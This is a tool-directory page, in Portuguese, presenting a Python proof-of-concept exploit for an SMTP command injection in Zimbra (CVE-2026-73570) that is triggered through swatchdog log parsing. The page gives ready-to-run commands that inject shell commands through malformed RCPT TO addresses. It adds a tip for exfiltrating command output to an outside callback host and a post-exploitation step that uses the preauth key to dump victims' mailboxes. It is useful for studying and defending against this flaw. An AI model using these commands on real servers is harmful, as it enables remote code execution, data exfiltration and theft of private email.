Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-73570 — Python PoC para CVE-2026-73570, uma injeção de comando SMTP no Zimbra. Envia payloads RCPT TO malformados para acionar a execução de comandos de shell via swatchdog, com varredura automática de portas e verificação OOB. | Kitploit
Ferramentas/GitHubGitHub/jishino567/cve-2026-73570
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoSegurança de Email
GitHubjishino567/cve-2026-73570

CVE-2026-73570

Python PoC para CVE-2026-73570, uma injeção de comando SMTP no Zimbra. Envia payloads RCPT TO malformados para acionar a execução de comandos de shell via swatchdog, com varredura automática de portas e verificação OOB.

Ver Repositório
1há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-73570 PoC - Testador de Injeção de Comandos SMTP

Um script Python proof-of-concept (PoC) personalizado e de baixo nível para testar vulnerabilidades de injeção de comandos SMTP (CVE-2026-73570).

Esta ferramenta envia um endereço RCPT TO malformado contendo substituição de comandos no estilo shell (ex.: $(command)) para determinar se o servidor de e-mail alvo ou seu pipeline de processamento downstream passa indevidamente o endereço por um shell sem sanitização.

⚠️ AVISO: Esta ferramenta destina-se APENAS a fins educacionais e testes de segurança autorizados. Certifique-se de ter permissão explícita para testar a infraestrutura alvo. Varreduras ou explorações não autorizadas de servidores de e-mail são ilegais.

Informações da Vulnerabilidade (Alvo: Zimbra)

Nem toda instalação Zimbra é vulnerável. Todas estas condições devem ser verdadeiras:

  1. O pacote opcional zimbra-snmp está instalado (frequentemente solicitado na instalação).
  2. As notificações de trap SNMP estão habilitadas (snmp_notify).
  3. O serviço swatchdog está em execução (ativo por padrão).

Superfície de Ataque: O ataque não precisa que o SNMP (UDP/161/162) esteja exposto ao atacante. A entrada maliciosa chega via SMTP padrão.

A Causa Raiz

O processo swatchdog monitora /var/log/zimbra.log usando a configuração de /opt/zimbra/conf/swatchrc.in. Ele combina ativamente entradas de log usando as seguintes expressões regulares:

root@kitploit:~
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/

O grupo de captura (.*) é tratado como um nome de serviço. O script dosnmp então interpola esse texto capturado diretamente em um comando Perl backtick snmptrap. Como backticks Perl executam via shell do sistema, quaisquer metacaracteres de shell capturados em (.*) são avaliados e executados.

O Vetor de Injeção

Atacantes inserem o texto malicioso no log enviando um comando SMTP (como RCPT TO) cujo argumento se parece com uma linha real de status de serviço. O Postfix registra isso como sintaxe de endereço ilegal, mas o swatchdog ainda combina a regex na linha de log e passa o payload para o shell.


Recursos

  • Cliente SMTP Personalizado de Baixo Nível: Ignora a validação interna de endereços do smtplib padrão do Python para enviar payloads brutos e não conformes com RFC exatamente como um atacante faria.
  • Varredura Automática de Portas: Varre automaticamente portas SMTP abertas (25, 465, 587) e seleciona uma disponível.
  • Suporte SSL/TLS Implícito: Negocia automaticamente SSL/TLS se o alvo for a porta 465 (SMTPS).
  • Injeção de Payload Personalizado: Aceita comandos shell arbitrários via a flag --command.
  • Interface CLI Limpa: Construída com argparse para fácil integração em fluxos de trabalho de teste.

Pré-requisitos

  • Python 3.6+
  • Nenhuma dependência externa necessária (usa apenas a biblioteca padrão do Python)

Instalação

Salve o script em um arquivo chamado CVE-2026-73570.py (ou qualquer nome de sua preferência):

root@kitploit:~
# Exemplo: baixe ou crie o arquivo
nano CVE-2026-73570.py

Uso

Você pode executar o script de várias maneiras, dependendo do seu cenário de teste.

1. Varredura Automática e Execução

Se você não especificar uma porta, o script varrerá as portas 25, 465 e 587 e terá como alvo automaticamente a primeira porta aberta.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"

2. Alvo em uma Porta Específica

Se você já sabe a porta alvo (ex.: 465), pode pular a adivinhação da varredura.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"

3. Apenas Varredura (Reconhecimento)

Se você quiser apenas verificar quais portas de e-mail estão abertas em um alvo sem enviar o payload.

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only

Argumentos de Linha de Comando

ArgumentoCurtoDescriçãoPadrão
--host-HIP ou domínio do host alvo.127.0.0.1
--port-pPorta alvo. Se omitido, varre 25, 465, 587 e tem como alvo uma porta aberta.None (Automático)
--command-cComando shell a ser injetado no payload SMTP.TEST_PAYLOAD
--scan-only-sApenas varre portas e sai sem enviar o payload de injeção.False

Como Verificar a Exploração

Executar o script sozinho apenas prova que o servidor de e-mail recebe o endereço RCPT TO malformado. Para confirmar a injeção real de comandos sem precisar de acesso direto ao sistema de arquivos ou logs do alvo, use um callback Out-Of-Band (OOB) via HTTP.

  1. Configure um Listener: Acesse requestrepo.com (ou use Burp Suite Collaborator / Webhook.site) e copie sua URL exclusiva (ex.: http://xyz123.requestrepo.com).
  2. Execute o PoC: Execute o script usando curl para acessar sua URL exclusiva:
    root@kitploit:~
    python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
    
  3. Verifique os Callbacks: Atualize seu painel do Request Repo. Se você vir uma solicitação HTTP GET recebida, a injeção de comandos foi bem-sucedida.

Dica Profissional (Exfiltração de Dados): Você pode exfiltrar a saída de comandos injetando-a no caminho da URL do seu callback:

root@kitploit:~
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"

Verifique seu painel do Request Repo para ver a saída uid=0(root) no caminho solicitado.

⚠️ Nota Importante: "Acesso Negado" Não Significa "Patch Aplicado"

Durante os testes, você pode receber uma resposta SMTP como esta:

root@kitploit:~
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied

NÃO presuma que a vulnerabilidade falhou simplesmente porque o endereço foi rejeitado.

Muitos servidores de e-mail (como Postfix ou Exim) aceitarão sintaticamente o payload durante a transação SMTP, mas rejeitarão imediatamente a tentativa de entrega porque o domínio/destinatário não está em sua lista de relay permitida.

A vulnerabilidade CVE-2026-73570 é acionada após essa rejeição ocorrer. A string maliciosa flui para /var/log/zimbra.log como uma entrada de log de sintaxe de endereço ilegal. O swatchdog monitora este log, combina o payload e o passa para o shell.

Como o payload ainda chega a esses sistemas de backend para registro, a substituição de comandos ($()) ainda é executada. Sempre confie no seu callback OOB (ex.: Request Repo) para verificar o sucesso, independentemente do código de resposta SMTP.

Pós-Exploração

Uma vez que a execução de comandos é alcançada via injeção do swatchdog, o atacante normalmente opera como o usuário zimbra. A partir daqui, o objetivo principal é frequentemente acessar os dados da caixa de correio.

Para facilitar este próximo passo, você pode usar o zimbraKing — uma ferramenta personalizada projetada para despejar caixas de correio Zimbra.

  • Repositório: https://github.com/jishino567/zimbraKing

Cenário de Uso: Durante sua fase de pós-exploração, se você conseguir ler os arquivos de configuração do Zimbra e extrair a preAuthKey (geralmente encontrada em /opt/zimbra/conf/localconfig.xml sob a chave zimbra_preauth_key) ou se obtiver credenciais válidas de conta Zimbra, você pode fornecê-las ao zimbraKing.

A ferramenta aproveita a preAuthKey ou as credenciais da conta para autenticar contra a API SOAP do Zimbra e despejar sistematicamente o conteúdo da caixa de correio alvo sem precisar interagir diretamente com o banco de dados ou sistema de arquivos subjacente.

Por que não usar smtplib?

O smtplib integrado do Python impõe padrões RFC estritos. Se você tentar passar um endereço contendo ", $, (, e ) através de smtplib.sendmail(), a biblioteca irá ou modificar a string para torná-la "segura" ou lançar uma exceção SMTPRecipientsRefused antes que os dados cheguem à rede. Este cliente personalizado usa sockets brutos para garantir a entrega byte a byte do payload de exploração.

Baixar ferramenta